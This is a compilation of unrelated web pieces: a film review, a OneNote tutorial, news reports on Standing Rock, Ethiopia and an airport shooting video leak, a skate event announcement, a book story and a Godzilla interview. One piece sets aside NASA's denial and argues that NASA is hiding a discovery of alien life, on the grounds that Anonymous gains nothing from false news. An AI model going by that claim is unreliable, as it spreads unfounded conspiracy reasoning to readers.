-“I’ve been poor my whole life, like a disease passing from generation to generation. But not my boys, not anymore.”  When we look back at the cinema of 2016 there will be a collective ‘meh’. It’s been far from a bad year, in fact we’ve had brilliant blockbusters like Captain America: Civil War, Jason Bourne, and Star Trek Beyond. But compared to flops like Warcraft, Ghostbusters, and The BFG, or over-hyped and underwhelming franchise films like Suicide Squad, Independence Day: Resurgence, Alice Through the Looking Glass, and Teenage Mutant Ninja Turtles: Out of the Shadows; the good blockbusters start to look few and far between. But look away from the big budget flicks and you’ll find 2016 has actually been a pretty excellent year for film. To find the best films though, you’ll need to start looking at the mid to low budget end of the spectrum. Smaller studio fare and independent films have had a great year, with films like High Rise, Green Room, The Shallows, The Nice Guys, and Deadpool all achieving critical success. Hell or High Water, the latest film to join this growing list is perhaps the best of the bunch.  Directed by David Mackenzie (Starred Up) and scripted by Taylor Sheridan (best know for writing Sicario and, weirdly, playing Sheriff Hale on Sons of Anarchy), Hell or High Water is a taught and violent neo-western full of heart and exceptionally well written characters. Chris Pine and Ben Foster play Toby and Tanner Howard, brothers brought together to make a better life for the future Howard’s. Pine’s Toby is a divorced dad of two who after his mother dies is left with the family farm, which recently struck oil, and unlike his brother has lived his life on the right side of the law. Pine is awesome in this, perfectly embodying the struggles of a man forced into doing something dangerous for the sake of his family. His performance is a million miles away from his (also great) performance as James T. Kirk and hopefully it opens doors to other serious dramatic roles. Ben Foster’s Tanner is the younger and much more violent brother who’s lived a quarter of his life in prison. The supremely underrated and always awesome Foster is once again fantastic in this. His character is a violent product of the system, who has been forced to live through some terrible things, but he also loves and would do anything for his older brother, a duality Foster plays perfectly. The brothers’ plan to wrestle control of the family farm back from the hands of the banks is to attempt a series of small scale bank robberies over the course of a week and then pay off the bank before they foreclose on the farm, leaving the farm and the goldmine of an oil reserve to Toby’s kids. Despite the robberies being deliberately careful and well planned (mainly by the level headed Toby) Tanner’s violent streak threatens to capsize the whole thing. As well as this the bothers are being pursued by an ageing Texas Ranger (Jeff Bridges) looking for one last adventure to stave off the upcoming years of boredom once he retires. As per usual Bridges is terrific, with his character Marcus being the best character in a film of best characters. His fear of retirement, of the banal life that awaits him, is incredibly real and his constant bickering and gentle mocking of his partner Alberto (Gil Birmingham) is at once funny and sad as it masks his pain of being forced out of the Rangers.  The story is perhaps a little heavy handed with it’s hatred of the banks but it’s not for a minute untrue, and the characters motivations are always believable. Sheridan’s excellent script is also very funny, meaning Hell or High Water is no where near as bleak as his last effort, the brilliant Sicario. The pairings of Pine/Foster and Bridges/Birmingham are all fantastic and they both have great chemistry. When it comes to these characters being in life and death situations you genuinely care for each of them, and when they come face to face you are left in the confusing place of rooting for both sides, although you have the feeling at least one person isn’t going to make it out whole. The direction is also frequently stunning, employing an enjoyably relaxed pace right up until a burst of ultra-violence shatters it. Through MacKenzie’s direction the world these character inhabit is shown to be a desolate wasteland with people struggling to survive in the shadow of the banks. In this world people idolise the bank robbing anti heroes and they still have to fight against the pull of nature. In this sense the landscape of West Texas makes Hell or High Water as much a traditional western as it is a contemporary one like No Country For Old Men. Nick Cave and Warren Ellis’ score to Hell or High Water is also brilliant, with it managing to add to the emotion in a scene without being big and over the top, similarly to their work on the John Hillcoat western The Proposition.  The bottom line: Hell or High Water is one of the best films of the year. Everyone in it turns in what are almost certainly up there with the strongest performances of their careers, and that’s no small feat when you have a catalogue of acting credits like Jeff Bridges. It’s closet comparison is probably the Coen Brothers masterpiece No Country For Old Men, but even then it’s entirely it’s own thing. It’s definitely a must watch; it’s funny, thrilling, heartbreaking and unfortunately probably going to slip under the radar of most people.  Reviewed by Tom
-These are roles which require extensive web searching. OneNote can greatly simplify this effort – in three ways. Take a look and transform the way you work.  The process  Usually, we go to various web sites – potential suppliers, recruitment sites, publications and academic papers, and take notes about what we find there.  Usually, we do it in two steps – a quick tour of various sites and note down few things. Later, shortlist from the list you created and then do a deeper study of those sites.  Exactly How?  Find potential sites Repeat the following for each site Go to the site Copy paste the URL Type some details about it Sort, filter, shortlist Go back to the important sites Do detailed work  OneNote helps you in this situation in three different ways  Copy paste  If you copy something from a site and paste it into OneNote, it automatically pastes the URL. Very convenient.  Store a web page in OneNote  If you like a web page, use the OneNote Clipper to store it in your OneNote (OneDrive Personal notebook).  The third method – Linked Notes  In both the above methods, you have to take explicit action to get the web page or its context into OneNote. Linked Notes is even more simple and sophisticated at the same time. Let us explore it in detail.  Linked Notes – Web Pages  Please note: This requires Internet Explorer. This works only in the full desktop version of OneNote.  Open a OneNote notebook and add a new page. You can use an existing page. But right now you are learning. So better to work on a new page.  Now look at the top left corner – Quick Access Toolbar – where you normally see Save Undo and Redo buttons. In case of OneNote you get one more button there – called Dock to Desktop.  Now OneNote realizes that you want to take notes from some other source. Therefore, it shrinks in size – typically 1/3 rd of your screen. Remaining part of the screen is available for all other applications.  A dialog explaining to you that Linked Notes is now active will appear (for the first time). Click ok to close it (read it first). On the top left corner of the OneNote page you will see a link – indicating that linked notes mode is active.  Now open the Internet Explorer and maximize it. It will fit into the remaining 2/3 rd of the screen.  You are all set. Now browse and search as usual. When you find a page of interest, just click inside the OneNote window and type something about that page. You can just type some brief text.  If you are doing some kind of comparison, like pricing or features, I suggest that you use a table.  In either case, when you write something in OneNote, an IE icon will appear automatically. Do not worry about it.  Continue browsing to various pages and taking notes. No Copy Paste or Paste Link action is required. Just browse and take notes.  When you finish, click on that Dock to Desktop button again to stop the Linked Notes mode. This also makes OneNote occupy full screen as before. Alternatively, you can also click on the Normal View button (2013).  You can close the browser now – because you have already finished your search.  How to use the links?  While you were typing notes, OneNote was busy remembering each web page address. You will not see the web address anywhere. But if you go to the IE icon next to each page and hover the mouse there, you will see a thumbnail of the page.  Click on it and miraculously – OneNote will open that page for you.  Is that not brilliant?  What next?  Linked Notes work with Word and PowerPoint as well. We will see how that happens in the next article. Also read this article about managing linked notes.  Technical notes  This is only for programmers and architects. Imagine the data structure required to support this brilliant feature – just a two column table – Object ID and URL.  But see how thoughtfully it is implemented to solve a simple but significant problem users face. This is a brilliant example of user focus while creating the feature set.  ***
-The hacktivist group, Anonymous released a video in which they claimed that NASA is going to announce the discovery of alien oExtrara Terrestrial life in our Galaxy. This video which contains statements and treats from specialist and experts like Thomas Zurbuchen, science mission directorate at NASA.  In YouTube, video got viral highlighting that NASA has found Alien life. The channel by which this video is released is linked with Anonymous hackers group. If you don’t know who they are you can check this link.  The statement released by the associate administrator for the science mission directorate at NASA, Thomas Zurbuchen is “we are on the verge of making one of the most profound, unprecedented, discoveries in history.”  NASA’s Kepler space observatory also discovered 219 new worlds or planets which seem to be like earth in our Galaxy. 10 of planets are “Rocky” like the earth and fall in the systems “Goldilocks zone”. It means these planets aren’t too hot or too cold for the life to be exist on it.  But after the video released by Anonymous, Thomas Zurbuchen said that the report of alien Discovery is not true and many websites which say that Anonymous group releasing news of alien Discovery is false.  But according to us the news of Alien Discovery might be true because Anonymous Group defaces all the news secrets that can’t we reach to the common peoples. Because there is no profit from releasing false news to the common people by anonymous.  Maybe the associate administrator of NASA are hiding this news from the world that they found alien or extra Terrestrial life on other planets because they want to make it a secret from common man.
-It’s almost that time of year again; the days are longer, birds are chirping, and a skate event awaits at the end of every week. To kick it off right, the Ithaca Skate Jam is coming back again for its third straight year and is guaranteed to bring the heat back to the east coast. It’s going down on April 26th from 9AM-6PM, so mark your calendars now.  I think it’s safe to say that after the last two years, Ithaca has become the premiere non-race downhill skateboard event on the east coast. The guys at Comet Skateboards know their way around ramp building and have selected one of the most suitable roads for the event you could hope for, a perfect combo to see some gnarly tricks and skaters pushing each other to make every run better than the last. The event also brings some pretty heavy hitters out to show their stuff, with most of Comet’s team in attendance. While it’s changed a bit this year with the loss of Liam Morgan, we can still hope to see some of the crew like former east coaster Brian Peck, Jared Henry, Eric Jensen, “Big Dave” Tannaci, Nick Ronzani and others. Of course, you’ll also see familiar faces from up and down the east coast tearing it up and showing everyone how to mix it up from just the usual “go fast, big slide” style you see so often and make full use of the ramps and hills.  The Hill  This year the venue for the hill is changing from Buffalo Street to Lake Street, adding a little right hand corner into the mix. It’s partially located in the Ithaca Falls Natural Area and is sure to make for a bit more spectator space as well as a beautiful setting to skate in. The hill is 0.29 miles long with an average grade of 10.79%; this means you’ll be able to pick up speed quickly and recover from slides fast, so you can link together a nice run.  As in years past, expect the run to be full of some great ramps, wall-rides, and pole jams to make things super interesting. If you haven’t had the chance to ride a course like this before, we suggest putting a few hours in at your local skatepark.  Here’s what the guys from Comet had to say about it:  The hill is steep and we’re filling it with shred-worthy goodness. We look at this hill every day and wish there were no cars on it. On April 26th that will come true and we are stoked to skate it with you and all of the features we’re going to build.  Registration/Schedule  Registration is open now over in the Comet Webstore for $40. This gets you 9 hours of skating on the hill, a gift bag with free swag, 33% off discount code for gear after the event, prizes and give-aways throughout the day, and a chance to skate and chill with the Comet pros. If you’re under 18 you’re going to need a waiver signed by a parent or guardian, if you’re over 18 you can sign it yourself.  Check-in will run at the hill from 9AM-11AM, with the hill open to skating as soon as you’re checked-in.  Lodging  There are a few options for lodging in the area, with the most popular one being camping at Robert H. Treman State Park. It’s the closest camping site, being just a few miles outside of town, and will be full of other skaters headed to the event. We’ll list the options, as outlined on the Facebook event, below.  Robert H. Treman State Park – Camping  Located just a few miles outside of town this is the best camping option. Each site can have 6 adults and spaces cost about $25-$30/night, with a discount for people who live in-state. Reservations can be made here.  Hillside Inn  Closest lodging option to the hill.  607-272-9507  http:// www.hillsideinnithaca.com/ index.php  Econo Lodge  Just what you’d expect from an Econo Lodge. Amenities close-by and some cheap rooms.  “Close to the Ithaca Mall and a lot of food options and a few miles from the hill. Let them know you’re with the Comet Ithaca Skate Jam to get the discounted rates.  60 rooms available at $124 per night  Shuttle available to airport only  Complimentary Breakfast, WIFI, & Parking  Group name: Ithaca Skate Jam rates  Deal Expires:March 25th”  (607) 257-1400  http://www.econolodge.com/ hotel-ithaca-new_york-NY127  La Tourelle  La Tourelle is a hotel/spa that sounds like a great option if mom is bringing a whole gang with her but doesn’t want to hang out at the hill all day. The organizers posted the below, note that these may have been deal prices for the event (the promotion was only good through the 25th of March – but you could still ask).  “La Tourelle is an awesome spa and the choice for you if you want to make the weekend a nice vacation for you while your kids skate all weekend. Accommodations and deals:  ‘We offer the following room categories and rates available for your group:  Traditional King Rooms Up to 12 available $180.00 + 13% tax  Deluxe Fireplace King Rooms Up to 8 available $ 220.00 + 13% tax  Double King or Double Queen Rooms Up to 2 available $ 220.00 + 13% tax  Specialty Rooms and Suites TBA'”  (607) 273-2734  http://www.latourelle.com/  Argos Inn  According to the organizers the Argos Inn is “Located right in downtown Ithaca a short walk from the best coffee and food in town. This is another option if you’re looking for a nice weekend vacation in Ithaca.”  (607) 319-4437  http://argosinn.com/  So – are we going to see you there? Where are you staying? Sound off in the comments and let us know! We’ll keep this post updated with information as we learn more.
-Spread the love  Morton County Sheriff’s Department officers together with the National Guard began firing less-than-lethal projectiles, pepper spray, and, reportedly, mace on a group of water protectors at Standing Rock during what was supposed to be a prayerful, peaceful walk to the drill pad where work is rumored to continue on the Dakota Access Pipeline.  And all of this, of course, happens on the holiday honoring Dr. Martin Luther King, Jr. — who dedicated his life to non-violence to spark drastic change on the issue of civil rights.  Around 200 water protectors eventually grouped at the site of the drill pad, and three were arrested — accused of trespassing after cutting a razor wire fence and then allegedly tampering with industrial lighting.  As the crowd verbally taunted militarized police sporting riot shields and military gear, the situation Monday quickly tensed, and police began spraying people with mace. Soon after, as some water protectors sang and prayed, police fired rubber bullets at a few individuals, who then had to be transported away from the scene for medical assistance.  Reports from people at the camps indicated police brought in vehicles with water cannons just beyond the scene. In the video below, we can also see police open fire on water protectors with rubber bullets in their backs as they are running away from the tear gas.  Water protectors also gathered at Highway 1806’s Backwater Bridge, where a blockade of cement barriers, burned out vehicles, and razor wire remains in place after a confrontation in the autumn.  In fact, that site has seen several confrontations between water protectors and police from multiple states led by the Morton County Sheriff’s Department over several months — the worst occurring on the night of November 20 when less-than-lethal rounds, tear gas, and water cannons were employed to allegedly control the crowd.  Hundreds were injured and dozens had to be treated for hypothermia when law enforcement sprayed protectors with pressurized water in sub-freezing temperatures. Police claimed protectors acted violently against them and set several fires which blazed out of control — but video showed the pipeline opposition group defending against the onslaught of force, mainly hurling tear gas canisters back at police.  Monday night’s showdown between National Guard-reinforced law enforcement and completely peaceful water protectors at first seemed it would devolved into a similarly unjustified use of force, but — though many were maced and a few shot with projectiles — the situation did not spiral completely out of control.  Before night fell on the camps near Cannon Ball, North Dakota, activists filmed and photographed a surface-to-air missile system brought by law enforcement to the area near pipeline opposition camps — allegedly in place to shoot down any drones flown above the scene.  Despite evacuation and emergency orders in place in the area, water protectors remain encamped near the banks of the Missouri River in protest against completion of the Dakota Access Pipeline. A fracture also occurred after Standing Rock Sioux Tribe Chairman Dave Archambault II asked those unprepared to endure the harsh winter on the open plains to vacate the camps.  Additionally, Oceti Sakowin — now the primary and largest camp — lies in the river’s floodplain and, as snow thaws, will eventually be submerged.  Water protectors have vowed to remain at the location until construction of Dakota Access is permanently halted — but considering the incoming administration of President-elect Donald Trump has openly courted Big Oil, it appears unlikely the effort will see its dream of protecting the drinking water source of some 18 million people and the Standing Rock Sioux tribe will come to fruition.  Law enforcement did not respond to multiple requests for comment on the events of Monday night.
-Broward officials are investigating who leaked video footage of alleged gunman Esteban Santiago firing his first shots at the Fort Lauderdale airport, the Sun Sentinel has learned.  A video obtained by TMZ.com shows Santiago pulling a gun out of his waistband and shooting at Fort Lauderdale-Hollywood International Airport, where five people were killed and six wounded on Friday.  Airport officials, along with federal and local authorities, are investigating who had access to the footage and who allowed it to be taped without authorization, Broward Mayor Barbara Sharief told the Sun Sentinel.  Complete coverage of the Fort Lauderdale airport shooting  Sharief said the video does not appear to be the actual security footage but a cellphone video of that footage.  The "footage was being played in a secure room for only people with certain security clearance," Sharief said. She said she is concerned that whoever released the video did it to make money.  TMZ.com / Sun Sentinel A frame from a video obtained by TMZ.com that appears to show alleged gunman Esteban Santiago opening fire at Fort Lauderdale-Hollywood International Airport -- and Broward officials want to know who leaked it. Photo via TMZ.com A frame from a video obtained by TMZ.com that appears to show alleged gunman Esteban Santiago opening fire at Fort Lauderdale-Hollywood International Airport -- and Broward officials want to know who leaked it. Photo via TMZ.com (TMZ.com / Sun Sentinel)  "Nobody gives TMZ a video for free. You ever heard of that?" Sharief said.  A February expose by the New Yorker magazine revealed how TMZ pays thousands of dollars to land exclusives, going as high as $80,000 for footage of a 15-year-old Justin Bieber using the N-word while singing “One Less Lonely Girl" a cappella.  The Sun Sentinel and other traditional journalism sites do not pay sources for video or information.  Sharief said it's a crime to copy the airport video without authorization and she expects the investigation to wrap up in the near future.  "What we were trying to prevent by not releasing that video was copycats," Sharief said. Baggage claim areas are not "the most heavily guarded areas" and officials don't want to give ideas to anyone else who might want to do harm, she said.  Broward Sheriff Scott Israel told the Sun Sentinel on Sunday that he had no comment on the TMZ video.  Israel said the FBI is leading the investigation. "Anything that’s released or not released will be up to the FBI," Israel said.  FBI officials said they were aware of the video but were not prepared to confirm or deny its authenticity.  TMZ posted the video but did not respond to an email from the Sun Sentinel about how it obtained it.  lbarszewski@sun-sentinel.com or 954-356-4556
-Over the weekend, nearly 100 people were killed in protests organized in different parts of Ethiopia.  According to Amnesty International, 67 people died when "security forces fired live bullets at peaceful protesters" in different towns and cities in the Oromo region over the weekend.”  The demonstrators were protesting a government attempt (now aborted) to commandeer farmlands in the region surrounding the capital for development. The government proposed the expansion of the territorial limits of the capital, Addis Ababa, into the neighboring Oromo lands.  The widespread dissatisfaction with the Ethiopian government can be found predominantly within the Oromo ethnic group, the country’s largest ethnic group, which has been marginalized and oppressed by the Amharas, the second largest ethnic group, who make up the country’s elite.  Amnesty International stated that the deadliest incident took place on Sunday, in Bahir Dar, where 30 people were killed and that security forces were reacting to violence from protestors.  According to the government-affiliated Fana Broadcasting Corporate (FBC), The Ethiopian government blamed “nearby and distant foreign enemies and social media activists" for defying warnings about holding unauthorized protests.  The authorities said that the demonstrators were destroying government and private property and "inflicting deaths on innocent citizens" and arrests were made as people were trying to spread the violence, FBC adds.  A diplomat confirmed that 49 people were killed with Nekemte, a town in western Ethiopia and Bahir Dar, the capital of the Amhara region.  The diplomat disguised the protests as “low level,” “quite disorganized” and “scattered all around”  He stated, "The brutal response of the government risks provoking more anger and making it worse."  The threat of displacement was what triggered this wave of protests, but protests have been going on in the country in recent months.  Protesters in Ethiopia
-Sonia Gandhi Sonia Gandhi  After books by a former media adviser to the Prime Minister and a top bureaucrat, a member of the outgoing Planning Commission has added grist to the mill saying it was Sonia Gandhi who called the shots on all appointments and policies of UPA governments.  "Sonia Gandhi chose not to become Prime Minister when she led the party to a stunning victory in the national elections in 2004. Instead, she anointed a loyal technocrat, Dr Manmohan Singh, as prime minister, while she has called the shots on all important appointments and policies," Planning Commission Member Arun Maira has written in his book titled 'Redesigning the Aeroplane While Flying-Reforming Institutions'.  He further elaborated in the book: "Now her son Rahul Gandhi is being called upon to do his dynastic duty and lead the Congress party.  "Unfortunately, many other Indian political parties have also adopted similar autocratic and dynastic structures."  Maira regretted that sixty years after independence India's governance structures retain elements of the British Government of India like civil services and "monarchical political parties in place of the British monarchy".  Talking to the reporters after releasing his book at function, Maira admitted that there was policy paralysis in the country and the the situation has been bothering the investors, industrialists and citizens.  Earlier, Sanjaya Baru, a former media adviser to the Prime Minister, in his book 'The Accidental Prime Minister: The Making and Unmaking of Manmohan Singh' said that Singh was "defanged" by the Congress party in UPA-II with Congress chief Sonia Gandhi deciding on key appointments to the Cabinet and to the Prime Minister's Office.  Similarly, former coal secretary PC Parakh in his book 'Crusader or Conspirator? Coalgate and other Truths' said Singh was heading a government in which he had "little" political authority.  Maira said he was "unexpectedly" invited by the Prime Minister to serve as a member of the Planning Commission in 2009.  Singh had asked him to consider how the organisation could be reformed to become a "system reforms commission" and "an essay in persuasion" as it should be, rather than the "budget-allocating, plan-formulating and target-setting organisation it has become".  "In these four years, I have looked into India's progress through the lens of 'system reforms' as the Prime Minister asked me to do, and I have also struggled mightily to change the ways in which Planning Commission itself functions," he wrote in the Preface of the book.  Maira said when institutions in their present forms can not provide the satisfactions, they must be reformed. The inability of Indian institutions of governance to change adequately has resulted in the growing decline of citizens' trust in them. Reform of institutions has become imperative, he added.  "However when these institutions begin to change, we fear the loss of stability in their existing order has provided. So we resist the change, even though we want change," he said.
-At the Godzilla Final Wars premiere Above: Godzilla Final Wars director Ryuhei Kitamura Godzilla Stomps into Los Angeles  Mark Schaefer Copyright 2004 “Excuse me sir, is that the monster?” asked the overweight, middle-aged, guy standing next to me. “What do you mean? Don’t you even recognize Godzilla?” I asked him. It was Monday, November 29th, and I was waiting outside of the world-famous Grauman’s Chinese Theater, in Hollywood, California for the premiere of Godzilla Final Wars. The man-in-the-rubber-suit had just made an appearance and was stomping up and down the red carpet, hamming it up for the crowd.  “I thought he was as tall as a building” the tourist responded. The fan seemed somewhat disappointed to discover that in reality Godzilla was only about 5ft tall. The guy had flown in all the way from Italy to participate in the event, and didn’t seem amused. (I’m not kidding, folks. This really happened.) He had come to the ceremony truly expecting to see the ‘King of Monsters’ step over the building and smash his extra-large footprints down into the cement outside the famous theater, alongside the likes of those made by Groucho Marx and Shirley Temple. "There's a lot of passionate Godzilla fans," I thought to myself.  Only a few hours earlier, the Los Angeles Board of Supervisors had proclaimed November to be the “Month of Godzilla,” during a star unveiling for the monster at the Hollywood Walk of Fame. The crowd cheered wildly, and nobody seemed to notice that there was only one more day left in “Godzilla month.” Everyone had a great time and Godzilla soon found himself riding in the city’s holiday parade, and the star attraction at the premiere later that night. Godzilla walked up and down the red carpet, steam blasting out of his mouth, showing off for the international group of reporters and fans that had gathered for what was being promoted as “his final film appearance” -- for at least the next ten years (wink, wink).  The perpetually angry godzillasaurus had been in 28 movies, fought 25 times and won 18 bouts. Not such a bad record. Unfortunately, poor theatrical returns had finally knocked the radioactive wind out of our favorite giant. The premiere of this new film would mark the 50th Anniversary of the monster. The year-long celebration was finally coming to an end. Toho Pictures biggest and most highly anticipated Godzilla film ever, Godzilla Final Wars, was about to open.  Penny Blood sat down with two of the filmmakers involved with this latest production to see what they had to say about ‘Gojira’ and Godzilla Final Wars: Shogo Tomiyama is the legendary producer of several Godzilla films. Following the death of Godzilla’s original creator, Ishirô Honda, the responsibility of developing the series fell to Tomiyama. His films include Godzilla: Tokyo S.O.S. (2003), Godzilla X Mechagodzilla (2002), GMK (2001), Godzilla 2000 (2000), and Mothra (1996). Ryuhei Kitamura is the director of Godzilla Final Wars. He has become somewhat of a world-wide cult figure after the success of his zombie-samurai flick Versus (2000). Kitamura’s films include the horror movie Down to Hell (2003), Verses (2000), and the action-fantasy film, Azumi (2003).  The selection of Kitamura to direct this huge project was somewhat unusual for the studio. Toho Pictures is a tight knit family and they almost always use directors that have come up through the ranks of the studio, but this time Tomiyama decided to bring in an outsider to reshape the franchise. There are a lot of expectations riding on Kitamura’s shoulders.  PENNY BLOOD: Welcome to the USA. RYUHEI KITAMURA: Thank you. PENNY BLOOD: Why don’t we ever see Godzilla eating people? [Ryuhei Kitamura laughs.] PENNY BLOOD: I mean, in the original Godzilla movie, the monster’s natural supply of food has been diminished by nuclear testing in the Pacific. He leaves the depths of the ocean to head towards Japan in search of livestock to eat, right? Yet, we never see him eating anything! Did you ever consider letting Godzilla eat people? RYUHEI KITAMURA: When I first met the producers they were gathering all kinds of ideas and hadn’t yet decided what kind of Godzilla movie they wanted to make. I gave them three or four ideas of my own, and in one of them my Godzilla was eating people. I had a scene where he grabs a train, tips it up, and empties the passengers out into his mouth. Shogo didn’t respond to my suggestions. (LAUGHS) I don’t think he liked that idea very much. SHOGO TOMIYAMA: Godzilla doesn’t want to destroy human bodies. He wants to destroy human civilization. It’s true that originally Godzilla did come to Japan to eat livestock, but Toho Pictures soon realized that they’d have to reconsider how Godzilla existed if they were going to expand the film into a series. The company needed to decide whether Godzilla was a living breathing creature, or something else. The decision was made to make Godzilla something else. He was much more than just a large creature that went around eating livestock. PENNY BLOOD: So you’re saying he’s God-like? SHOGO TOMIYAMA: Closer to that, yes. Godzilla is closer to being a God. He’s not just a living animal or a monster. PENNY BLOOD: That’s why the Japanese refer to Godzilla as a “kaiju” instead of a monster? He’s more of a mystical creature. Then would you consider Godzilla to be a good or bad God? SHOGO TOMIYAMA: The fact is that humans cannot control or judge the Gods. They have their own will. They have their own way. In Japan there are many Gods. There is a God of Destruction. He totally destroys everything and then there is a rebirth. Something new and fresh can begin. Godzilla is closer to being that kind of God. PENNY BLOOD: You were quoted as saying, “that you renamed Hollywood’s 1998 version of the monster ‘Zilla’ because they took the God out of Godzilla.” When I read that quote, I interpreted it to be a slam against Hollywood’s Godzilla (1998.) I’m getting the impression now that your statement was referring to the “spiritual interpretation” of Godzilla in Japan verses Hollywood’s “monster interpretation.” It really wasn’t meant as a putdown. Is that correct? SHOGO TOMIYAMA: Yes, because Hollywood’s Godzilla is just a normal monster He’s not a God. Hollywood treated Godzilla as a live monster or live animal. They shot him down with missiles and all that. PENNY BLOOD: Quite a few fans hate that version of Godzilla. What did you think of the Hollywood movie? Were you disappointed with Hollywood’s interpretation of your star performer in Godzilla’98? SHOGO TOMIYAMA: No. There was always very good communication between Tokyo and Hollywood. We knew exactly how they were going to do it, and we knew what Godzilla was going to look like. So, as a movie there’s no complaining. RYUHEI KITAMURA: I liked the film. I like most of that director’s films. [Roland Emmerich was the director of Godzilla (1998.)] PENNY BLOOD: This new film is part of the ‘Millennium Series,’ but you made the decision not to continue the storyline of the last movie, Tokyo SOS. Godzilla Final Wars has a totally drop that story in favor of a different storyline. RYUHEI KITAMURA: That’s because I didn’t like the more recent Godzilla movies. I think Toho understood where I was coming from, too. The audiences for Godzilla movies were decreasing every year. Last year’s Tokyo SOS was the worst. So, Shogo knew he was missing something, and decided to bring me in. We had a first meeting and I just spoke my mind. I was really honest and told him what I thought about the Godzilla movies. I hadn’t been to the theaters in ten years. I’d seen the more recent Godzilla films on TV and didn’t like them. I mean, the last three or four Godzilla movies have been shown in the theaters together with kid’s animation. Why would anyone want to go see a Godzilla movie if it’s being shown alongside a little mouse cartoon? It seemed like the company was only making Godzilla movies for kids and the diehard Godzilla fans, not for the general audience. PENNY BLOOD: The first Godzilla was kind of scary. RYUHEI KITAMURA: Yeah, but they weren’t making films like that anymore. PENNY BLOOD: So what was your new approach to Godzilla? RYUHEI KITAMURA: I told the producers, “I don’t like the way Godzilla movies look. They’re too bright. There’s too much light on Godzilla. He looks like a man-in-a-suit. The set looks like miniatures. If you’re going to film miniatures, they have to look real. PENNY BLOOD: So, how did you shoot it? RYUHEI KITAMURA: More power and more speed. This film is going to be like an Ultimate Championship Fight. I wanted to make the monsters fight like that. Punching, weaving, and using the elbows. SHOGO TOMIYAMA: Ryuhei had a point. He wanted Godzilla to move faster but remain big and intimidating at the same time. PENNY BLOOD: (To RYUHEI KITAMURA) I know that the Godzilla fans are very particular about every minor detail concerning the look and character of Godzilla. Did the studio present you with a list of character traits that you had to stick with, or were you able to pretty much do what you wanted in this film? RYUHEI KITAMURA: Pretty much whatever I wanted. The only thing they said was, “Please, not too much blood. Please don’t have Godzilla eating people.” It’s true that a lot of children watch these movies, but I kept asking the producers, “What about the Lord of the Rings? There’s lots of violence and blood in that movie, and kids love it!” I asked them that everyday but they just kept saying, “Lots of children are going to see the film, so you can’t be too violent.” PENNY BLOOD: A lot of the filmmakers involved with Godzilla worked their way up through the ranks at Toho Pictures. Here you are, a new guy coming in from the outside, and you end up directing the biggest Godzilla film the studio had ever done. Did you feel any resentment from the older filmmakers? RYUHEI KITAMURA: No, not at all. The Special Effects Director, Eiichi Asada, knows everything about Godzilla. My favorite Godzilla is 1974’s Godzilla vs. Mechagodzilla. Eiichi Asada was the Assistant Director on that film. He knows everything and has more experience with Godzilla then me. He was an excellent guy to work with and we got along fine. PENNY BLOOD: How do you direct a man-in-a-rubber-suit? RYUHEI KITAMURA: That’s the Special Effects Director’s job. We do it with a second unit. We’re in the same studio. He’s shooting the man-in-a-rubber-suit and the miniature stuff. I’m directing the actors and live action stuff. Eiichi Asada was such a great guy. We were talking about the movie from the beginning. He’s seen my films and knows my tastes. I made storyboards for the shooting and just gave them to him. So, everything I wanted to do is in the storyboards. He just looks at it from the technical side. He has lots of experience in special effects, so sometimes he’ll also suggest new ideas. PENNY BLOOD: How did you build the film? Did you start with the story, the monsters, or the action sequences? RYUHEI KITAMURA: The producers gave me an eight-page synopsis. Basically, the storyline was already there. It said, “Aliens attack earth using eight monsters.” So I asked “Why eight? What’s the record?” They told me, eleven. “Then we should go for a new record instead of eight!” So we decided to go with more than eleven monsters. PENNY BLOOD: What’s the final count, then? RYUHEI KITAMURA: That’s a secret. [AUTHOR NOTE: We’ll keep it a secret too. It’s more fun that way.] PENNY BLOOD: How did you decide which kaiju would be in the film? Why didn’t you put Mechagodzilla in the film, for instance? RYUHEI KITAMURA: It depends on what kind of story you want. Mechagodzilla just didn’t fit into the story I wanted to tell. PENNY BLOOD: Did you consider a rematch between Godzilla and King Kong? SHOGO TOMIYAMA: The rights for Kong weren’t available. PENNY BLOOD: Did you increase the size of the kaiju to fight Godzilla? RYUHEI KITAMURA: All the kaiju are about 100 meters. PENNY BLOOD: So you kept all the creatures about the same size? RYUHEI KITAMURA: Yes. PENNY BLOOD: Did you play with that scale during production? How seriously did you calculate the scale of the monsters when you’re filming and building the miniatures? RYUHEI KITAMURA: No, we filmed whatever looked good. That kind of exacting detail makes a movie boring. That’s the type of thing only Godzilla freaks think about. PENNY BLOOD: (To RYUHEI KITAMURA) I heard there’s a rumor circulating that Quentin Tarantino and Robert Rodriguez will be producing your new movie. Is there any truth to that rumor? RYUHEI KITAMURA: No. I don’t know where that rumor started from. PENNY BLOOD: (To RYUHEI KITAMURA) Will we ever see a sequel to your cult zombie flick, Verses? RYUHEI KITAMURA: They’re keeping me busy, but yes, I want to do it eventually. I’m sure I’ll do it in the near future, but I don’t know when. PENNY BLOOD: (To RYUHEI KITAMURA) Do you plan on staying with monster movies and fantasy films? RYUHEI KITAMURA: No. PENNY BLOOD: I heard that there were some famous non-Japanese directors that wanted to do a Godzilla film. Is there any truth to those rumors? SHOGO TOMIYAMA: There have never been any direct talks with any of these directors. We are aware that some well-known filmmakers have expressed interests in directing a film. These young filmmakers grew up with Godzilla movies. I’m sure there are many directors that would like to do a kaiju movie. PENNY BLOOD: You’ve said Toho is going to retire Godzilla after this film for ten years. What would happen if another studio came along and they wanted to produce their own version of Godzilla? Could that still be an option? SHOGO TOMIYAMA: If a better story comes along that tops Godzilla Final Wars, and some other studio besides Toho wanted to consider producing the film? Then we might consider it. PENNY BLOOD: Hey, I’ve got a great idea for a Godzilla movie! SHOGO TOMIYAMA: (LAUGHS) There are as many ideas for Godzilla movies as there are fans! PENNY BLOOD: One last question, who would you consider Godzilla’s most dangerous adversary? [Shogo Tomiyama thinks for a moment…] SHOGO TOMIYAMA: Right now? I’d say, Pikachu. Hopefully, Godzilla’s new film will finally win the hearts of children back from his most dangerous advisory ever: Pokémon. Photos from the Godzilla Final Wars premiere Photos: Naomi Anderson, Copyright 2004 (Click on photos to enlarge)
